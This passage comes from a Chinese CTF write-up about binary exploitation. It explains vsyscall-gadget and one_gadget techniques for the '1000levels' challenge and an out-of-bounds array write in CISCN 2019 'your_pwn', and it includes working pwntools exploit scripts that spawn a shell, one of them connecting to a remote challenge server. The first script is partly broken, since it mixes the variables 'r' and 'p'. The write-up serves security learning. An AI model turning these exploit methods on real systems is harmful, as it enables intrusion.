       0x0000555555554bb9 <+61>:    mov    rax,QWORD PTR [rbp-0x120]
       0x0000555555554bc0 <+68>:    mov    QWORD PTR [rbp-0x110],rax
       0x0000555555554bc7 <+75>:    lea    rdi,[rip+0x4de]        # 0x5555555550ac
       0x0000555555554bce <+82>:    call   0x555555554900 <puts@plt>
       0x0000555555554bd3 <+87>:    call   0x555555554b00 <_Z8read_numv>
       0x0000555555554bd8 <+92>:    mov    QWORD PTR [rbp-0x120],rax
       0x0000555555554bdf <+99>:    mov    rdx,QWORD PTR [rbp-0x110]
       0x0000555555554be6 <+106>:   mov    rax,QWORD PTR [rbp-0x120]
       0x0000555555554bed <+113>:   add    rax,rdx
       0x0000555555554bf0 <+116>:   mov    QWORD PTR [rbp-0x110],rax
    ......
    

    在go的汇编代码中可以看到,总共开辟了0x120大小的栈帧,v5和v6在rsp+10h中,很容易可以计算出level返回地址距离system_addr的距离是0x18,栈结构如下:

    ----------------------------------------------------
    0x7fffffffcb88   |   0x555555554c74 (go()+248)
    ----------------------------------------------------
    0x7fffffffcb90   |   0x1
    ----------------------------------------------------
    0x7fffffffcb98   |   0x555560531c95
    ----------------------------------------------------
    0x7fffffffcba0   |   0x2
    ----------------------------------------------------
    

    经过覆盖后0x7fffffffcba0中存的是onegadget的地址。然后在使用合适的gadget越过0x7fffffffcb88、0x7fffffffcb90和0x7fffffffcb98三个内存单元,控制程序执行0x7fffffffcba0的内容。第二步寻找合适的gadget。在PIE的情况下,怎么寻找这个合适的gadget,在stack-pivot篇幅中的第一部分ASLR和PIE的区别的时候,一直提到一个点,无论开启ASLR,还是PIE+ASLR,vsyscall的加载地址依然不变,始终为0xffffffffff600000 - 0xffffffffff601000。

    简单介绍一下vsyscall,现代的Windows和Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。执行某些操作的时候会在从用户空间切换到内核空间时需要一个介质,这介质就是系统调用,但是这一过程需要耗费一定的性能,增加了不必要的开销,vsystem就是加速某些系统调用的机制,他用来执行特定的系统调用,减少系统调用的开销,例如gettimeofday(),这样就避免了传统的系统调用模式int 0x80/syscall造成的内核空间和用户上下文空间的切换。使用gdb将vsystem这段内存dump下来拿到IDA中进行查看

    seg000:0000000000000000                 mov     rax, 60h
    seg000:0000000000000007                 syscall                 ; Low latency system call
    seg000:0000000000000009                 retn
    seg000:0000000000000009 ; ---------------------------------------------------------------------------
    seg000:000000000000000A                 align 400h
    seg000:0000000000000400                 mov     rax, 0C9h
    seg000:0000000000000407                 syscall                 ; Low latency system call
    seg000:0000000000000409                 retn
    seg000:0000000000000409 ; ---------------------------------------------------------------------------
    seg000:000000000000040A                 align 400h
    seg000:0000000000000800                 mov     rax, 135h
    seg000:0000000000000807                 syscall                 ; Low latency system call
    seg000:0000000000000809                 retn
    

    显示的这三个系统调用分别是:gettimeofday, time和getcpu。值得注意的是,在我们选择gadget的是,直接调用vsyscall中的retn指令,会提示段错误,这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错 所以不能直接调用ret,应该从头开始。第三步找到onegadget

    pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so
    0x3f306 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL
    
    0x3f35a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL
    
    0xd695f execve("/bin/sh", rsp+0x60, environ)
    constraints:
      [rsp+0x60] == NULL
    

    准备内容做完后就开始构造payload,但是本地测试一直失败 ,调试时发现每次执行vsyscall的系统调用的的时候,会报出Program recevied signal SIGSEGV(fault address 0xa)的错误提示,可是没有查到原因(求大佬指点),后来在攻防世界中找到一个一样的题目'100levels',只不过最高的循环从1000变为了100,思路没有变,改了下exp就利用成功了,于是更纳闷为什么本地会报这种错误。

    from pwn import *
    libc = ELF("./libc.so")
    # p = process('./1000levels')
    p = remote('111.200.241.244',45392)
    # one_gadget = 0x3f306
    one_gadget = 0x4526a
    system = libc.symbols['system']
    
    print r.recvuntil("Choice:\n")
    p.sendline('2')
    print r.recvuntil("Choice:\n")
    p.sendline('1')
    print r.recvuntil("How many levels?\n")
    p.sendline('0')
    print r.recvuntil("Any more?\n")
    p.sendline(str(one_gadget-system))
    
    def calc():
        print r.recvuntil("Question: ")
        num1 = int(r.recvuntil(" "))
        print r.recvuntil("* ")
        num2 = int(r.recvuntil(" "))
        ans = num1 * num2
        print r.recvuntil("Answer:")
        p.sendline(str(ans))
    # for i in range(999):
    for i in range(99):
        calc()
    print p.recvuntil("Answer:")
    payload = 'a' * 0x38 + p64(0xffffffffff600000) * 3
    p.send(payload)
    p.interactive()
    


    题目四

    2019年CISCN中your_pwn的题目,源码如下:

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      char s; // [rsp+0h] [rbp-110h]
      unsigned __int64 v5; // [rsp+108h] [rbp-8h]
      v5 = __readfsqword(0x28u);
      setbuf(stdout, 0LL);
      setbuf(stdin, 0LL);
      setbuf(stderr, 0LL);
      memset(&s, 0, 0x100uLL);
      printf("input your name \nname:", 0LL);
      read(0, &s, 0x100uLL);
      while ( (unsigned int)sub_B35() );
      return 0LL;
    }
    
    _BOOL8 sub_B35(){
      int v1; // [rsp+4h] [rbp-15Ch]
      int v2; // [rsp+8h] [rbp-158h]
      int i; // [rsp+Ch] [rbp-154h]
      char v4[64]; // [rsp+10h] [rbp-150h]
      char s; // [rsp+50h] [rbp-110h]
      unsigned __int64 v6; // [rsp+158h] [rbp-8h]
      v6 = __readfsqword(0x28u);
      memset(&s, 0, 0x100uLL);
      memset(v4, 0, 0x28uLL);
      for ( i = 0; i <= 40; ++i ) {
        puts("input index");
        __isoc99_scanf("%d", &v1);
        printf("now value(hex) %x\n", (unsigned int)v4[v1]);
        puts("input new value");
        __isoc99_scanf("%d", &v2);
        v4[v1] = v2;
      }
      puts("do you want continue(yes/no)? ");
      read(0, &s, 0x100uLL);
      return strncmp(&s, "yes", 3uLL) == 0;
    }
    
    pwn@pwn-PC:~/Desktop$ checksec pwn
    [*] '/home/pwn/Desktop/pwn'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    又是保护全开,根据程序的代码可以发现存在数组越界漏洞,其中v1可以控制,因为v4这个数组在读取索引的时候没有限制,引发数组越界漏洞,而且代码中分别对数组进行了读和写操作,那么造成栈空间任意地址读写(任意地址读和任意地址写)。由于PIE和canary的存在,所以思路是先泄露栈中的某个返回地址,获取栈中的某些函数(main函数的返回地址__libc_start_main+241)的加载地址,从而计算出libc的基址,进而计算得到onegadget的地址,然后写入返回地址进行ROP即可。在构造payload之前,先分析一下利用过程。

    第一步泄漏main函数的返回地址__libc_start_main+241的地址:0x7ffff7a5a2e1,从而根据偏移拿到libc的基址 0x7ffff7a5a2e1 - 0x201f0 - 241 = 0x7ffff7a3a000。


    第二步找到onegadget 选择一个onegadget,根据得到的libc的基址和偏移量计算出onegadget地址,0x7ffff7a3a000 + 0x3f306 = 0x7ffff7a79306。

    pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so
    0x3f306 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL
    
    0x3f35a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL
    
    constraints:
      [rsp+0x60] == NULL
    

    那么此时前期工作就做完,之后利用数组溢出泄漏基址,然后利用数组的写入操作进行rop,执行onegadget,整体的分析如下图:


    结合前几节学过的知识,发现能够对过程进行简化,我们泄露0x7fffffffcd18 —▸ 0x7ffff7a5a2e1 (__libc_start_main+241) 的地址,只需要泄漏后后三位(因为前面的加载地址都一样)即可

    查看__libc_start_main+241末尾三个字节:
    pwndbg> x /3bx 0x7fffffffcd18
    0x7fffffffcd18: 0xe1    0xa2    0xa5     :0xa5a2e1
    
    使用后三位字节进行计算:
    0xa5a2e1- 0x201f0 - 241 = 0xa3a000 :libc addr
    0xa3a000 + 0x3f306 = 0xa79306 | onegadget addr
    
    将onegadget addr进行写入:
    0x7fffffffcd18 :0x06 :v2 = 6
    0x7fffffffcd19 :0x93 :v2 = 147
    0x7fffffffcd1a :0x7a :v2 = 122
    
    写入位置:
    v4[0x278] :v1 = 632
    v4[0x279] :v1 = 633
    v4[0x280] :v1 = 634
    

    注意在进行printf时,是输出是格式%x,运用了一次MOVSX指令(说明:带符号扩展传送指),因此在exp中需要对输出的内容进行处理,exp如下:

    from pwn import *
    # context.arch = 'amd64'
    # context.log_level = 'debug'
    # context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
    
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.24.so")
    p = process('./pwn')
    one_gadget = 0x3f306
    libc_start_main_addr = libc.symbols['__libc_start_main']
    libc_start_main_241 = 0xf1
    offset = 0x278
    newValue = 1
    
    def byte(addr):
        libc_start_main = ''
        if(len(addr)<2):
            libc_start_main = '0' + addr
        elif(len(addr)==8):
            libc_start_main = addr[-2:]
        else:
            libc_start_main = addr
        return libc_start_main
    
    p.recvuntil("name:")
    p.sendline('pwn')
    
    p.recvuntil("input index\n")
    p.sendline(str(offset))
    p.recvuntil("now value(hex) ")
    addr = p.recvuntil('\n')[:-1]
    p.sendline(str(newValue))
    
    p.recvuntil("input index\n")
    p.sendline(str(offset+1))
    p.recvuntil("now value(hex) ")
    addr1 = p.recvuntil('\n')[:-1]
    p.sendline(str(newValue))
    
    p.recvuntil("input index\n")
    p.sendline(str(offset+2))
    p.recvuntil("now value(hex) ")
    addr2 = p.recvuntil('\n')[:-1]
    p.sendline(str(newValue))
    
    libc_start_main = byte(addr2) + byte(addr1) + byte(addr)
    libc_addr = int('0x'+libc_start_main,16) - libc_start_main_addr - libc_start_main_241
    one_gadget_addr = libc_addr + one_gadget
    # print hex(one_gadget_addr)
    
    a = int('0x'+hex(one_gadget_addr)[-2:],16)
    b = int('0x'+hex(one_gadget_addr)[-4:-2],16)
    c = int('0x'+hex(one_gadget_addr)[-6:-4],16)
    # gdb.attach(p)
    p.recvuntil("input index\n")
    p.sendline(str(offset))
    p.recvuntil("now value(hex) ")
    addr = p.recvuntil('\n')[:-1]
    p.sendline(str(a))
    
    p.recvuntil("input index\n")
    p.sendline(str(offset+1))
    p.recvuntil("now value(hex) ")
    addr1 = p.recvuntil('\n')[:-1]
    p.sendline(str(b))
    
    p.recvuntil("input index\n")
    p.sendline(str(offset+2))
    p.recvuntil("now value(hex) ")
    addr2 = p.recvuntil('\n')[:-1]
    p.sendline(str(c))
    p.recvuntil("input index\n")
    p.sendline('a')
    p.interactive()
    


    ????点击阅读原文,成为靶场实战一员!

    展开全文
  • 栈溢出

    2021-01-25 20:43:57
    篇文章介绍了栈溢出的原理两种执行方法,两种方法都是通过覆盖返回地址来执行输入指令片段(shellcode)或者动态库中函数(return2libc)。本篇会继续介绍另外两种实现方法。一种是覆盖返回地址来执行内存内...
  • 下面样例代码,实际不会导致在上一章场景介绍中提到问题,可以直接通过crash的栈查找到代码,本文只是通过这个例子来讲解如下场景分析思路: 如果栈溢出了,通过k命令却无法查找到函数调用。.
  • 缓冲区溢出和栈溢出

    千次阅读 2013-11-25 14:24:13
    溢出的数据覆盖在合法数据,理想情况是程序检查数据长度并不允许输入数据超过缓冲区长度字符,但是绝大多数程序都会假设数据长度总是与所分配存储空间相匹配,这就为缓冲区溢出隐患。操作系统所使用...
  • 回我们简单介绍了缓冲区溢出的基本原理机器级代码解释,对此类问题分析研究都必须建立在对程序机器级表示有一定了解基础。记得有句话是这样说,“真正了不起程序员是对自己代码每一个字节...
  • 1. 概述 栈,就是那些由编译器在需要的时候分配,在不需要的时候自动清除的变量的存储区。里面的变量通常是局部变量、函数参数等;... 所谓栈溢出,是缓冲区溢出的一种,本质是写入栈的数据超过栈的大...
  • 篇文章介绍了栈溢出的原理两种执行方法,两种方法都是通过覆盖返回地址来执行输入指令片段(shellcode)或者动态库中函数(return2libc)。本篇会继续介绍另外两种实现方法。一种是覆盖返回地址来执行内存内...
  • 递归遍历,简单暴力,递归在一般情况确实是比较方便解决方案,但是当文件夹深度多深,递归反复调用会导致方法一直无法释放,造成jvm的栈溢出。那我们该怎么办? 原文作者一起讨论:...
  • 一篇文章我们已经分析了Metaspace区域内存溢出的原理两种情况,这篇文章我们就顺着JVM运行原理继续分析一下,线程的栈内存是如何内存溢出的。 因为在JVM加载了我们写类到内存里之后,一步就是去通过线程...
  • 这句话的意思是栈顶的地址和栈的最大容量是系统预先规定好的,在 WINDOWS栈的大小是1M(也有的说是2M,总之是一个编译时就确定的常数),如果申请的空间超过栈的剩余空间时,将提示overflow。因此,能从栈获得...
  • rop [ 一] 栈溢出和简单ROP思路

    千次阅读 2020-02-02 19:03:00
    我认为就是不断去思考代码作用计算位置,调试中一步步确定下的代码,这样手段用于在一个已经成型程序调试并写出利用代码,是一种攻击技术 这一篇是结合经典文档:《蒸米一步步学ROP》自己笔记 排...
  • 最近看了0dayThe shellcoder's handbook,对栈溢出有了些了解。并且对书上的实验也自己做了些。自己动手才真正把看到知识变成自己。  今天在看handbook时候,按照书上的代码来时间操作,发现实现不聊,百思...
  • (stack)溢出

    2021-05-27 18:43:05
    * 我们知道局部变量函数调用的上下文是保存在栈里的 * 而栈的空间是有程序运行之初有操作系统分配的,且其 * 大小是固定的,有没有办法让栈溢出 ? * 答案是大数组 * 我们编程的时候, 又应该如何避免栈溢出?...
  • 栈溢出基本思路是覆盖掉返回地址参数,执行system()函数从而/bin/sh拿到flag 64位 64位栈帧也是这样 但是在 Linux ,前六个参数通过 RDI 、 RSI 、 RDX 、 RCX 、 R8 R9 传递; 而在 Windows 中,...
  • 手把手教你栈溢出从入门到放弃() ...0x10 上期回顾篇文章介绍了栈溢出的原理两种执行方法,两种方法都是通过覆盖返回地址来执行输入指令片段(shellcode)或者动态库中函数(return2libc)。本篇会...
  • 栈溢出从入门到放弃(

    千次阅读 2017-04-25 21:46:01
    0x00 写在前面 首先还是广播一下2017 Pwn2Own 大赛最终赛果,本次比赛共发现51个漏洞,长亭安全实验室贡献11个,以积26分总成绩,在11支参赛团队中名列...篇文章介绍了栈溢出的原理两种执行方法,两种方
  • 关于异常处理攻击思路1.设置那个指向句柄指针,这个句柄是指向一个已经注册句柄,... 通过结构体异常处理来攻击保护由于该结构体前32位是一个指向一个结构体指针,攻击者可以加载这个代码,这样可以演示出
  • 其实这个路由器的栈溢出漏洞利用方式之前 DVRF 靶机平台的栈溢出例子大同小异,只是需要注意一些小地方。 前言 这个栈溢出的原因是由于 cookie 值过长导致的栈溢出。服务端取得客户端请求 HTTP 头中 ...

空空如也

空空如也

1 2 3 4 5 ... 13
收藏数 260
精华内容 104
关键字:

栈的上溢出和下溢出